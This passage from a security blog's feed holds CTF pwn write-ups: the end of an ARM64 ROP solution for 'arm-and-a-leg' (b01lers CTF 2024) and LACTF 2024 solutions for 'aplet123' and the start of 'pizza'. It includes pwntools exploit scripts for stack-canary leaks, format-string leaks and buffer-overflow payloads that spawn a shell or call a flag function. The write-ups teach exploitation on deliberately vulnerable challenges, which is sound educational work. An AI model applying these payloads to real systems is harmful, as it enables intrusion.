<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_start_main</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__libc_start_main'</span><span class="p">]</span>
</code></pre></div></div>
<p>Above we set up some basic pwntools functionality and then send that <code class="language-plaintext highlighter-rouge">1337</code> value to satisfy the <code class="language-plaintext highlighter-rouge">worthynes_tester()</code>. After that, we send in our <code class="language-plaintext highlighter-rouge">printf()</code> payload to start leaking stuff off the stack. Thenm we parse our leaks, which end up being the <code class="language-plaintext highlighter-rouge">__libc_start_main() + 152</code> and the canary. We also calculate the base of libc, with the libc that can be extracted from the docker container. Let’s have a look in GDB so that you can get a clearer picture of why we chose the <code class="language-plaintext highlighter-rouge">printf()</code> offsets of <code class="language-plaintext highlighter-rouge">%21$p</code> and <code class="language-plaintext highlighter-rouge">%19$p</code>.</p>

<p><img src="arm-and/leaks.png" alt="" /></p>

<p>The <strong>dark blue</strong> rectangle (1st one down) is the 19th offset and is the canary and the <strong>light blue</strong> rectangle (2nd one down) is the address of <code class="language-plaintext highlighter-rouge">__libc_start_main() + 152</code>
which is the 21st offset. Now that we have these leaks, what can we do? Well, we’ll have to return to system within libc and use that to get a shell.</p>

<p>To do this, I embedded some gadgets within the challenge to make this fun. The main thing is getting <code class="language-plaintext highlighter-rouge">x0</code> to contain a pointer to <code class="language-plaintext highlighter-rouge">/bin/sh</code>.</p>

<p>The first thing we’ll have to do is overflow the buffer in the <code class="language-plaintext highlighter-rouge">feedback()</code> function seen below; we are asked for some feedback after we provide our address.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">feedback</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">acStack112</span> <span class="p">[</span><span class="mi">104</span><span class="p">];</span>
  <span class="kt">long</span> <span class="n">local_8</span><span class="p">;</span>
  
  <span class="n">local_8</span> <span class="o">=</span> <span class="n">__stack_chk_guard</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Care to leave some feedback?!"</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">acStack112</span><span class="p">,</span><span class="mh">0x100</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Thanks!"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_8</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">__stack_chk_guard</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">local_8</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>But before we overflow anything, let’s take a look at the stack before the overflow so we can get a feel for what it looks like it. This is the instruction right before the call to <code class="language-plaintext highlighter-rouge">fgets</code>. Notice the address <code class="language-plaintext highlighter-rouge">0x550080060</code> is marked as in <code class="language-plaintext highlighter-rouge">x0</code>. This would be the input buffer as <code class="language-plaintext highlighter-rouge">x0</code> denotes the first arg of <code class="language-plaintext highlighter-rouge">fgets</code> which is said input buffer.</p>

<p><img src="arm-and/before-fgets.png" alt="" /></p>

<p>In order to fill up all 104 chars, we’ll need to send in 104 chars of junk. And then, we’ll need the canary so as to not trip that protection. We leaked it prior, so we can send it back in. Then we’ll need 8 bytes for the “base pointer” and then we can place our first gadget. Below is a view of the stack right after the ROP chain is sent in.</p>

<p><img src="arm-and/after-fgets.png" alt="" /></p>

<p>I guess I should explain the intended solve before we go any further.</p>

<p>Let’s keep in mind that we need to populate x0 with a pointer to <code class="language-plaintext highlighter-rouge">/bin/sh</code>. Also keep in mind that in ARM, the return address of the current function is stored within the Link Register (<code class="language-plaintext highlighter-rouge">x30</code>) which is before our input on the stack. So, we are overflowing the return address of <code class="language-plaintext highlighter-rouge">main()</code>. I had a lot of fun writing this ROP chain.</p>

<p>The first gadget we’ll start with is <code class="language-plaintext highlighter-rouge">mov x2, sp; ldp x29, x30, [sp], #0x10; ret</code>. Here, we’ll save the current stack pointer (we’ll need it later) into <code class="language-plaintext highlighter-rouge">x2</code> then load a pair of values relative to the stack pointer into <code class="language-plaintext highlighter-rouge">x29</code> and <code class="language-plaintext highlighter-rouge">x30</code>, respectively, then return. <code class="language-plaintext highlighter-rouge">x29</code> is the base pointer and <code class="language-plaintext highlighter-rouge">x30</code> is the place where the return address is stored; so, we’ll be heading to the value there next.</p>

<p><img src="arm-and/after-first-gadget.png" alt="" /></p>

<p>So, the 8 chars of junk will be popped into <code class="language-plaintext highlighter-rouge">x29</code> and we’ll head to our next gadget, <code class="language-plaintext highlighter-rouge">ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;</code> Here we are loading into <code class="language-plaintext highlighter-rouge">x19</code> the value on the stack at <code class="language-plaintext highlighter-rouge">sp + 0x10</code>. After which we pop values off the stack into <code class="language-plaintext highlighter-rouge">x29</code> and <code class="language-plaintext highlighter-rouge">x30</code> and increment the SP by 0x20. This serves no purpose other than I was working on a different exploit chain and removing this part kept breaking the current ROP chain. But, we get our next gadget into <code class="language-plaintext highlighter-rouge">x30</code> and that is where will will continue the ROP chain.</p>

<p>Here is the payload so far:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="mi">104</span><span class="p">,</span> <span class="c1"># Junk
</span>    <span class="n">canary</span><span class="p">,</span> <span class="c1"># Account for the canary
</span>    <span class="s">'b'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span> <span class="c1"># Account for base pointer
</span>    <span class="n">mov_x2_sp</span><span class="p">,</span> <span class="c1"># Saving SP into x2
</span>    <span class="s">'c'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span> <span class="c1"># More Junk for x29
</span>    <span class="n">canary</span><span class="p">,</span>  <span class="c1"># Another Canary
</span>    <span class="s">'d'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span> <span class="c1"># More Junk
</span>    <span class="n">ldr_x19</span> <span class="c1">#  Next junk gadget, explained above
</span><span class="p">])</span>
</code></pre></div></div>

<p>The final gadget we’ll use is <code class="language-plaintext highlighter-rouge">ldr x0, [x2, #0x10]; ldp x29, x30, [sp], #0x10; ret</code>. Here we’ll use what we set up in the first gadget. This gadget will load the value at <code class="language-plaintext highlighter-rouge">x2</code>, which is the SP, plus 0x10 which we can have be a stack address of <code class="language-plaintext highlighter-rouge">/bin/sh</code> if we send the string in the exploit chain correctly! Then, just like we’ve been doing we’ll load a base pointer and return. Here is the exploit so far.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="mi">104</span><span class="p">,</span>
    <span class="n">canary</span><span class="p">,</span>
    <span class="s">'b'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">mov_x2_sp</span><span class="p">,</span>
    <span class="s">'c'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">canary</span><span class="p">,</span>
    <span class="s">'d'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">ldr_x19</span><span class="p">,</span>
    <span class="n">binsh</span><span class="p">,</span>
    <span class="n">ldr_x0_x2</span><span class="p">,</span>
<span class="p">])</span>
</code></pre></div></div>
<p>With this we can save the stack pointer, then load a stack address relative of it which can be <code class="language-plaintext highlighter-rouge">/bin/sh</code>. Pretty cool huh? Next, all we’ve gotta do is call system. Its going to be on the stack with the rest of the ROP chain, but to understand where let’s have a look at the ROP chain on the stack before the first gadget is executed.</p>

<p><img src="arm-and/rop-chain-start.png" alt="" /></p>

<p>Notice the green rectangle is where we put system, then the at the blue rectangle we’ve got a bunch of junk chars, in this case <code class="language-plaintext highlighter-rouge">e</code>.  Why the junk characters? Well, the ROP gadget we used above, <code class="language-plaintext highlighter-rouge">ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;</code>, incremented the stack pointer by <code class="language-plaintext highlighter-rouge">0x20</code>. Below we can see what the stack looks like before the last part of that gadget is executed.</p>

<p><img src="arm-and/rop-chain-view2.png" alt="" /></p>

<p>Notice the stack pointer is much lower, and we needed to send in those junk characters to account for it’s aforementioned increase. We needed <code class="language-plaintext highlighter-rouge">system</code> to be able to be loaded into <code class="language-plaintext highlighter-rouge">x30</code>. Below is an image of the stack before the <code class="language-plaintext highlighter-rouge">ldp x29, x30, [sp], #0x10; ret</code> portion of the last ROP gadget is executed. As you can see, the junk worked because the last bit of the <code class="language-plaintext highlighter-rouge">e</code> chars will be loaded into <code class="language-plaintext highlighter-rouge">x29</code> and the address of <code class="language-plaintext highlighter-rouge">system</code> will be successfully loaded into <code class="language-plaintext highlighter-rouge">x30</code>.</p>

<p><img src="arm-and/before-system.png" alt="" /></p>

<p>Now we sit back, relax, and watch as a glorious shell is spawned.</p>

<h4 id="a-few-notes-on-this-chal">A few notes on this chal</h4>
<p>This challenge was deployed using a redpwn jail which is built upon nsjail. In short, this system will mount the filesystem of an ARM docker container inside the x86-64 based redpwn container. On my local Ubuntu x86-64 VM this worked fine as long as qemu was installed. However, I noticed that ASLR was disabled. This is no fun for CTFs. Additionally, when a shell was spawned inside the container running on an x86-64 host, the nsjail and qemu combo did not like that. As such, I migrated this deployment to an ARM based VM. The layout of the binary and offsets are the same, however ASLR was enabled and users could spawn a shell with <code class="language-plaintext highlighter-rouge">system</code>.</p>

<p>The source for these challenges is located <a href="https://github.com/CaptainNapkins/bctf-2024-chals">here</a> and source for other challenges will be located on the b01lers <a href="https://github.com/b01lers">github</a>.</p>

<p>See ya next year.</p>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="pwn" /><category term="b01lers" /><summary type="html"><![CDATA[This past weekend, I had the privilege of hosting b01lers CTF 2024 along with the rest of my team. They are a group of incredible individuals and there is no one I’d rather do it alongside. What follows are write-ups and intended solutions for the three pwn challenges I developed; shall-we-play-a-game, seeing-red, and arm-and-a-leg. Enjoy!]]></summary></entry><entry><title type="html">LACTF 2024 Writeups</title><link href="https://gabri3l.net/LACTF-2024-Writeups/" rel="alternate" type="text/html" title="LACTF 2024 Writeups" /><published>2024-02-19T00:00:00+07:00</published><updated>2024-02-19T00:00:00+07:00</updated><id>https://gabri3l.net/LACTF-2024-Writeups</id><content type="html" xml:base="https://gabri3l.net/LACTF-2024-Writeups/"><![CDATA[<p>This past weekend I played LACTF with my team, b01lers. The CTF was a ton of fun, kudos to the organizers and all challenge authors, UCLA and PBR always put on a great CTF. We were also fortunate enough to place 23rd overall, so big ups to the rest of my team for all the hard work they put in. I mainly focused on the pwn category (as per usual) and solved <code class="language-plaintext highlighter-rouge">aplet123</code> and <code class="language-plaintext highlighter-rouge">pizza</code>. What follows are my ramblings for the aforementioned challenges, enjoy :)</p>

<h1 id="aplet123--pwn--251-solves">aplet123 | pwn | 251 Solves</h1>
<p>To start, we are given the source of the challenge, <code class="language-plaintext highlighter-rouge">aplet123.c</code>, the challenge executable, <code class="language-plaintext highlighter-rouge">aplet123</code>, and a Dockerfile. Both challenges I solved in this CTF included source, which left my empty ghidra workspace feeling especially lonely. Nonetheless, when we crack the source open we are greeted by some standard header files, and whoah whats that? A <code class="language-plaintext highlighter-rouge">print_flag()</code> function?? Well I guess we know what were trying to call. Moving further down there is an array of responses which I’ll assume are printed out to the user upon further interaction with the program.</p>

<p>Now we are at the main function which starts by calling <code class="language-plaintext highlighter-rouge">setbuf</code> to help with buffering on the remote server, <code class="language-plaintext highlighter-rouge">srand</code> with <code class="language-plaintext highlighter-rouge">time(NULL)</code> as the seed so that should be trivial to bypass if needed. There is then a 64 character input buffer (more on that later) and a call to <code class="language-plaintext highlighter-rouge">puts</code>. Entering the main <code class="language-plaintext highlighter-rouge">while</code> loop, which is the meat and potatoes of this whole program, user input is taken with <code class="language-plaintext highlighter-rouge">gets()</code>… so that should be fun. We then arrive at an if statement, the first arm of which checks our input to see if it contains the string <code class="language-plaintext highlighter-rouge">"i'm"</code> via <code class="language-plaintext highlighter-rouge">strstr()</code>. <code class="language-plaintext highlighter-rouge">strstr()</code> will returns a pointer to the position in our input that contains <code class="language-plaintext highlighter-rouge">"i'm"</code>. If our input does contain <code class="language-plaintext highlighter-rouge">"i'm"</code>, then the content at the the index of <code class="language-plaintext highlighter-rouge">"i'm"</code> within our input buffer + 4 bytes is printed out. The second arm checks our input buffer to see if it has the string <code class="language-plaintext highlighter-rouge">"please give me the flag"</code> after which the user is trolled because of course we don’t get help. The third arm checks if we sent in <code class="language-plaintext highlighter-rouge">"bye"</code>, and if we did the program breaks out of the loop and returns. Finally, if we enter something random, we get one of the many words in the afore mentioned array printed out to us. Below is the source, with many of the options in the array and the header files omitted for brevity.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">print_flag</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">flag</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">flag_file</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="k">sizeof</span> <span class="n">flag</span><span class="p">,</span> <span class="n">flag_file</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="n">flag</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">responses</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">"L"</span><span class="p">,</span>
                                 <span class="s">"amongus"</span><span class="p">,</span>
                                 <span class="s">"cope"</span><span class="p">,</span>
                                 <span class="s">"I use arch btw"</span><span class="p">};</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
  <span class="n">srand</span><span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>
  <span class="kt">char</span> <span class="n">input</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"hello"</span><span class="p">);</span>
  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">gets</span><span class="p">(</span><span class="n">input</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">s</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="n">input</span><span class="p">,</span> <span class="s">"i'm"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"hi %s, i'm aplet123</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">s</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">input</span><span class="p">,</span> <span class="s">"please give me the flag"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"i'll consider it"</span><span class="p">);</span>
      <span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">);</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"no"</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">input</span><span class="p">,</span> <span class="s">"bye"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"bye"</span><span class="p">);</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="n">responses</span><span class="p">[</span><span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="p">(</span><span class="k">sizeof</span> <span class="n">responses</span> <span class="o">/</span> <span class="k">sizeof</span> <span class="n">responses</span><span class="p">[</span><span class="mi">0</span><span class="p">])]);</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Now that we’ve discussed functionality, lets talk about finding a vulnerability. We know for sure that <code class="language-plaintext highlighter-rouge">gets()</code> will allow us a buffer overflow, however there is just one issue; a quick run of <code class="language-plaintext highlighter-rouge">checksec</code> tells us there is a canary. Any attempt to clobber the instruction pointer and redirect execution will be thwarted.</p>

<p><img src="checksec-output.png" alt="" /></p>

<p>We’ll need a way to leak the canary if we want to solve this challenge. Luckily, one such way has presented itself in the form of the first <code class="language-plaintext highlighter-rouge">printf</code>. As stated before, if
our input contains the string <code class="language-plaintext highlighter-rouge">"i'm"</code> then the data at that index + 4 bytes is printed out. We can abuse this by overflowing right up until the canary and terminating our overflow with the string <code class="language-plaintext highlighter-rouge">"i'm"</code>. That way <code class="language-plaintext highlighter-rouge">strstr</code> will identify the index of the <code class="language-plaintext highlighter-rouge">"i'm"</code> string which will be 3 bytes before the canary. This can be seen within gdb below.</p>

<p><img src="after-printf.png" alt="" /></p>

<p>As seen above, the index of <code class="language-plaintext highlighter-rouge">"i'm"</code> is 3 bytes before the canary and the fourth byte would be the first byte of the canary which is always a null byte. So, we can abuse the <code class="language-plaintext highlighter-rouge">printf</code> to print out the entire canary, minus the null byte! It took some debugging, but we found that 69 characters of junk are needed plus the <code class="language-plaintext highlighter-rouge">"i'm"</code> string at the end to achieve the leak. Now that we’ve got our leak, all thats left is to parse it and write the exploit. Our solve script so far can be seen below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"aplet123"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>
<span class="n">script</span> <span class="o">=</span> <span class="s">'''
init-pwndbg
break *0x00000000004012b8
'''</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>
<span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">script</span><span class="p">)</span>
<span class="n">offset</span> <span class="o">=</span> <span class="mi">69</span>
<span class="n">leak_canary</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="n">offset</span><span class="p">,</span>
    <span class="s">"i'm"</span>
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">leak_canary</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'hi'</span><span class="p">))</span>
<span class="n">recv</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
<span class="n">recv</span> <span class="o">=</span> <span class="n">recv</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">','</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="n">lstrip</span><span class="p">(</span><span class="sa">b</span><span class="s">' '</span><span class="p">).</span><span class="n">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x01</span><span class="s">'</span><span class="p">)</span>
<span class="n">canary</span> <span class="o">=</span>  <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">recv</span><span class="p">,</span> <span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">)</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span> <span class="o">+</span> <span class="s">'00'</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">canary</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">recv</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Canary (int) </span><span class="si">{</span><span class="n">canary</span><span class="si">}</span><span class="s">, (hex) </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
</code></pre></div></div>
<p>In the above script, we set up some basic pwntools functionality and setup some simple gdbscript to start debugging. Then we pass in our data to abuse the <code class="language-plaintext highlighter-rouge">printf</code> and then receive and process our leak. We also need to remember to account for the null byte in the canary! From here, our exploit should be simple.</p>

<p>All we need to do is pass in junk up to the canary, which we know is 72 bytes (remember, we needed 69 bytes of junk plus 3 bytes for the “i’m” string), our canary we leaked, 8 bytes of junk for <code class="language-plaintext highlighter-rouge">rbp</code>, and then the address of our print_flag function. This can all be achieved pretty easily with pwntools, as seen below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="mi">72</span><span class="p">,</span>
    <span class="n">canary</span><span class="p">,</span>
    <span class="sa">b</span><span class="s">'a'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'print_flag'</span><span class="p">]</span>
<span class="p">])</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'bye'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
<span class="c1"># lactf{so_untrue_ei2p1wfwh9np2gg6}
</span></code></pre></div></div>
<p>And just for fun (and because its always super cool) we can see our payload laid out on the stack within gdb before the main function cleans up the stack and returns.</p>

<p><img src="gdb-fun.png" alt="" /></p>

<p>Finally, after we construct the aforementioned payload, send it in, and then send in the string “bye” to get the program to break out of the main loop and return, we shall have our flag. We will receive said flag in interactive mode. I had fun solving this challenge, on to the next one!</p>

<h1 id="pizza--pwn--105-solves">pizza | pwn | 105 solves</h1>

<p>This challenge doled out similar source material; a compiled binary (<code class="language-plaintext highlighter-rouge">pizza</code>), source code (<code class="language-plaintext highlighter-rouge">pizza.c</code>), and a Dockerfile.</p>

<p>Starting to look at the source code, we can start to pick out some of its notable features. Starting with an array of toppings and then an infinite  <code class="language-plaintext highlighter-rouge">while</code> loop containing the main program logic. Within this loop it looks like the available toppings are being printed out as a menu of sorts, and we can input a choice of an existing topping or a custom topping. It also appears we can enter in a maximum of three toppings. And once our toppings are entered, they are printed back out at using a call to <code class="language-plaintext highlighter-rouge">printf</code> with no format specifier… how scandalous. After our topping choices are printed back to us we have an option to start all over again, from viewing the menu to entering toppings, etc etc. I have included the source code below so you can have a peek if you so desire.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">available_toppings</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">"pepperoni"</span><span class="p">,</span> <span class="s">"cheese"</span><span class="p">,</span><span class="s">"olives"</span> <span class="s">"pineapple"</span><span class="p">,</span><span class="s">"apple"</span><span class="p">,</span> <span class="s">"banana"</span><span class="p">,</span><span class="s">"grapefruit"</span><span class="p">,</span> <span class="s">"kubernetes"</span><span class="p">,</span> <span class="s">"pesto"</span><span class="p">,</span><span class="s">"salmon"</span><span class="p">,</span> <span class="s">"chopsticks"</span><span class="p">,</span> <span class="s">"golf balls"</span><span class="p">};</span>

<span class="k">const</span> <span class="kt">int</span> <span class="n">num_available_toppings</span> <span class="o">=</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">available_toppings</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">available_toppings</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Welcome to kaiphait's pizza shop!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Which toppings would you like on your pizza?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">num_available_toppings</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"%d. %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">available_toppings</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%d. custom</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">num_available_toppings</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">toppings</span><span class="p">[</span><span class="mi">3</span><span class="p">][</span><span class="mi">100</span><span class="p">];</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">);</span>
      <span class="kt">int</span> <span class="n">choice</span><span class="p">;</span>
      <span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">choice</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">choice</span> <span class="o">&gt;</span> <span class="n">num_available_toppings</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Invalid topping"</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">==</span> <span class="n">num_available_toppings</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Enter custom topping: "</span><span class="p">);</span>
        <span class="n">scanf</span><span class="p">(</span><span class="s">" %99[^</span><span class="se">\n</span><span class="s">]"</span><span class="p">,</span> <span class="n">toppings</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">strcpy</span><span class="p">(</span><span class="n">toppings</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">available_toppings</span><span class="p">[</span><span class="n">choice</span><span class="p">]);</span>
      <span class="p">}</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Here are the toppings that you chose:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="n">toppings</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Your pizza will be ready soon.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
